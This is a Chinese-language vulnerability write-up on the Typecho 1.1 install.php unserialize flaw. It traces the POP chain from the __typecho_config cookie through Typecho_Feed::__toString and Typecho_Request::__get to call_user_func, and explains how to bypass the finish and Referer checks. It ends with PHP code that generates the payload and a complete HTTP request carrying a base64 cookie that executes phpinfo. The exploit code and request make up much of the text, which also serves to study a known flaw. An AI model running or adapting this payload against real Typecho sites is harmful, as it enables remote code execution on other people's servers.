反序列化触发点
- 在install.php 中存在用户可控的反序列化
1 2 3 4 5
| $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; }
if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
$parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; }
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
|
- 第一个if传入?finish=123 即可
- 第二个if加入referer即可
Referer: http://127.0.0.1
反序列化利用链
1 2 3 4 5
| $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db);
|
- 最直接的想法是直接利用__destruct或者__wakeup,但是typecho并没有可以利用这两个魔术方法的地方
- 第二种想法就是利用unserialize的返回值,也就是$config
这里$config['adapter']
和$config['prefix']
被传入了Typecho_Db类
的构造函数__construct中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
$this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
$this->_adapter = new $adapterName(); }
|
$adapterName
和$prefix
都是用户可控的
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
如果$adapterName 是一个对象的话,会触发__toString
全局搜索可以找到3个__toString
:
- Typecho_Db_Query类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } }
return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
|
这里拼接了sql语句但是没有执行,用处不大
- Typecho_Config类
1 2 3 4
| public function __toString() { return serialize($this->_currentConfig); }
|
serialize 会触发__sleep
,不过typecho 中没有存在__sleep
的类
- Typecho_Feed类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| public function __toString() { $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) { $result .= '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://purl.org/rss/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;
$content = ''; $links = array(); $lastUpdate = 0;
foreach ($this->_items as $item) { $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL; $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL; if (!empty($item['suffix'])) { $content .= $item['suffix']; } $content .= '</item>' . self::EOL;
$links[] = $item['link'];
if ($item['date'] > $lastUpdate) { $lastUpdate = $item['date']; } }
$result .= '<channel rdf:about="' . $this->_feedUrl . '"> <title>' . htmlspecialchars($this->_title) . '</title> <link>' . $this->_baseUrl . '</link> <description>' . htmlspecialchars($this->_subTitle) . '</description> <items> <rdf:Seq>' . self::EOL;
foreach ($links as $link) { $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL; }
$result .= '</rdf:Seq> </items> </channel>' . self::EOL;
$result .= $content . '</rdf:RDF>';
} else if (self::RSS2 == $this->_type) { $result .= '<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/"> <channel>' . self::EOL;
$content = ''; $lastUpdate = 0;
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; ......
|
- 一个很长的方法,其中
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
如果$item['author']
是一个类并且不存在screenName属性的话,会触发其__get
方法
__get
方法还挺多的,能够利用的是Typecho_Request类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function __get($key) { return $this->get($key); }
public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
|
可以看到$key
会被传给get
方法,get
方法给$value
赋值后将其传给_applyFilter
方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); }
$this->_filter = array(); }
return $value; }
|
- 这里的
array_map
和call_user_func
都可以利用,只需要将$filter
设为想要执行的函数,$value
设为函数的参数即可
构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class Typecho_Request { private $_params = array(); private $_filter = array();
function __construct() { $this->_params['screenName'] = '123'; $this->_filter[0] = 'phpinfo'; } }
class Typecho_Feed { private $_items = array(); private $_type;
function __construct() { $this->_type = 'RSS 2.0'; $this->_items[0]['author'] = new Typecho_Request(); } }
$config['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($config));
|
结果返回了http 500
这是因为install.php在一开始调用了ob_start()开启了缓冲区,反序列化pop链执行后phpinfo()
的内容没有立刻输出,而是先存在缓冲区里。
之后在Typecho_Db
类的__construct
中会抛出错误
1 2 3
| if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
|
之后会调用/var/Typecho/Common.php的exceptionHandle
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static function exceptionHandle(Exception $exception) { @ob_end_clean();
if (defined('__TYPECHO_DEBUG__')) { echo '<h1>' . $exception->getMessage() . '</h1>'; echo nl2br($exception->__toString()); } else { if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) { $handleClass = self::$exceptionHandle; new $handleClass($exception); } else { self::error($exception); } }
exit; }
|
这里会调用ob_end_clean
清除缓冲区然后返回500
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class Typecho_Request { private $_params = array(); private $_filter = array();
function __construct() { $this->_params['screenName'] = '123'; $this->_filter[0] = 'phpinfo'; } }
class Typecho_Feed { private $_items = array(); private $_type;
function __construct() { $this->_type = 'RSS 2.0'; $this->_items[0]['author'] = new Typecho_Request(); $this->_items[0]['category'] = Array(new Typecho_Request()); } }
$config['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($config));
|
1 2 3 4 5 6 7 8 9 10 11 12
| GET /typecho1.1/install.php?finish=123 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: close Upgrade-Insecure-Requests: 1 Referer: http://127.0.0.1 Cookie: __typecho_config=YToxOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzoiMTIzIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czozOiIxMjMiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO319
|